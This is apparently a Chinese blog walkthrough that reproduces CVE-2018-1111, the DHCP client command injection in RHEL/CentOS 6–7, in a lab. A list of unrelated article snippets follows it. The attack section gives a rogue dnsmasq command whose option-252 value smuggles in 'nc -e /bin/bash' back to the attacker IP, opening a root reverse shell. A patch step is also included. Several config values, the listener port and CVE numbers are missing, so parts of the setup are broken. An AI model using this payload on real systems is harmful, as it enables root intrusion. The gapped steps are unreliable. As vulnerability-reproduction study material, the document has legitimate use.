0×01 前言

2018年5月,在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞(CVE-2018-1111),该漏洞目前已经进行了修补。攻击者可以通过本地网络上的恶意DHCP服务器或使用恶意的虚假DHCP响应来利用此漏洞进行攻击,一旦攻击成功,则可以在配置了DHCP的NetworkManager的系统上以root权限执行任意命令。

0×02 漏洞影响面

影响版本

  • Red Hat Enterprise Linux Server 6
  • Red Hat Enterprise Linux Server 7
  • CentOS 6
  • CentOS 7

0×03 环境搭建

攻击机:kali linux   ip:192.168.1.14
受害机:centos7 ip:192.168.1.15

 一、配置虚拟网络

打开VM虚拟机-菜单栏-编辑-虚拟网络编辑器,设置仅主机模式(关掉dhcp,设置ip)。

将 攻击机 和 受害机 网络配置成仅主机模式:

二、搭建dhcp服务

先在kali下设置一下网络

配置ip
ifconfig eth0 192.168.1.11 netmask 255.255.255.0
配置网管
route add default gw 192.168.1.11

在当前目录新建一个dnsmasq.conf文件,填入以下内容进行配置:

bind-interfaces

interface=eth0

except-interface=lo

dhcp-range=192.168.1.20,192.168.1.30,12h

dhcp-option=,192.168.1.11

dhcp-option=,192.168.1.11

log-queries

log-facility=/var/log/dnsmasq.log

参数解释

dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间

dhcp-option: 表示指定给 DHCP 客户端的选项信息

log-facility: 表示日志记录器

其中配置文件中包括的 option 取值及含义如下:

: 设置网关地址选项

: 设置 DNS 服务器地址选项

: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url

payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。

这里 dnsmasq.conf中的dhcp-range设置:

为客户端分配 192.168.1.20-192.168.1.30/ 这个 ip 地址范围,租约时间为 12h。

  

0×04 命令注入

利用dnsmasq伪造dns服务器,命令执行 payload 如下:

dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.1.11 6666 #"

  

监听6666端口:

nc -lvp 

  重启CentOS的网络服务,然后shell就反弹回来了:

我们按一下centos的ip地址,在我们制定的ip段内(192.168.20-192.168.1.30)

0×05 修复方案

终端下执行

更新dhcp
yum -y update dhclient
查看更新日志
rpm -qa --changelog dhclient | grep CVE-
- Resolves: # - Fix CVE--: Do not parse backslash as escape character

 

CVE-2018-1111漏洞复现-环境搭建与dhcp命令注入的更多相关文章

  1. docker漏洞复现环境搭建

    0x00 docker简介 把原来的笔记整理了一下,结合前几天的一个漏洞,整理一篇简单的操作文档,希望能帮助有缘人. docker是一个开源的应用容器引擎,开发者可以打包自己的应用到容器里面,然后迁移 ...

  2. KALI搭建Docker+Vulhub漏洞复现环境

    在学习网络安全的过程中,少不了的就是做漏洞复现,而漏洞复现一般比较常用的方式就是使用docker-vulhub进行环境搭建,我近期也遇到了这个问题,但是网上的教程特别混乱,根本起不到帮助作用,即使有可 ...

  3. 漏洞复现环境集锦-Vulhub

    0x01 Vulhub简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像. 0x02 安装 # 安装pip curl -s ht ...

  4. 漏洞复现-2.x rce-Thinkphp远程命令执行

                0x00实验环境 攻击机:win10 靶机:Ubuntu18 (docker搭建的vulhub靶场) 0x01影响版本 影响Thinkphp 2.x的版本 0x02实验目的 学 ...

  5. Flutter环境搭建以及快捷命令

    Flutter环境搭建 配置环境变量 用户变量 FLUTTER_STORAGE_BASE_URL : https://storage.flutter-io.cn PUB_HOSTED_URL : ht ...

  6. 2018.8.19 mybatis 环境搭建---配置mysql 。(Windows环境下面)

    安装mysql Install/Remove of the Service Denied!错误的解决办法 在windos 的cmd下安装mysql 在mysql的bin目录下面执行: mysqld - ...

  7. DoraBox漏洞测试环境搭建和测试过程

    未完待续...

  8. Redis学习——环境搭建以及基础命令使用

    0. 前言: 这篇文章旨在对redis环境的搭建以及对redis有个大概的认识. 一.redis搭建: 环境:ubuntu 14 软件包:redis-3.0.3.tar.gz 安装步骤: 1. 首先解 ...

  9. 【漏洞复现】PHPCMS wap模块 SQL注入(附EXP)

    漏洞影响版本:v9.5.8.v9.6.0 Step1: 访问:http://www.xxx.com/index.php?m=wap&a=index&siteid=1, 获取返回的coo ...

随机推荐

  1. c++sizeof大全

    sizeof,一个其貌不扬的家伙,引无数菜鸟竟折腰,小虾我当初也没少犯迷糊,秉着“辛苦我一个,幸福千万人”的伟大思想,我决定将其尽可能详细的总结一下.但当我总结的时候才发现,这个问题既可以简单,又可以 ...

  2. linux漏洞分析入门笔记-bypass_PIE

    ubuntu 16.04 IDA 7.0 docker 0x00:漏洞分析 1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack.heap. ...

  3. python 多线程效果演示

    多线程演示 不使用多线程的情况 import threading import time def run(n): print("task ",n) time.sleep(2) ru ...

  4. import模块后查找模块的绝对路径

    >>> import bsddb3>>> bsddb3.__file__'/usr/local/lib/python2.6/site-packages/bsddb3 ...

  5. Flask入门之模板导入与块宏(六)

    1 模板包含include 主体结构(导入整个模板,直接渲染不可修改) {% include('模板名称') %} {% include('目录/模板名称') %} 功能: 其功能就是将另一个模板加载 ...

  6. MySQL的基础(优化)3

    今天,数据库的操作越来越成为整个应用的性能瓶颈了,这点对于Web应用尤其明显.关于数据库的性能,这并不只是DBA才需要担心的事,而这更是我们程序员需要去关注的事情.当我们去设计数据库表结构,对操作数据 ...

  7. March 17 2017 Week 11 Friday

    Simplicity is the ultimate sophistication. 简约才是精巧到了极致. Recently I have spent a great number of time ...

  8. SAP Fiori里两种锁机制(lock)的实现

    方法1: ETAG机制 SAP CRM Fiori采用了这种机制. 看一个具体的例子来理解.假设我用用户名Jerry选中了这个ID为3456的Opportunity,点击Edit按钮之后: 会触发一个 ...

  9. 【BZOJ3495】PA2010 Riddle

    题目大意 有\(n\)个城镇被分成了\(k\)个郡,有\(m\)条连接城镇的无向边.要求给每个郡选择一个城镇作为首都,满足每条边至少有一个端点是首都. 题目分析 每条边至少有一个端点是首都,每个郡至多 ...

  10. Ural State University Internal Contest October'2000 Junior Session

    POJ 上的一套水题,哈哈~~~,最后一题很恶心,不想写了~~~ Rope Time Limit: 1000MS   Memory Limit: 65536K Total Submissions: 7 ...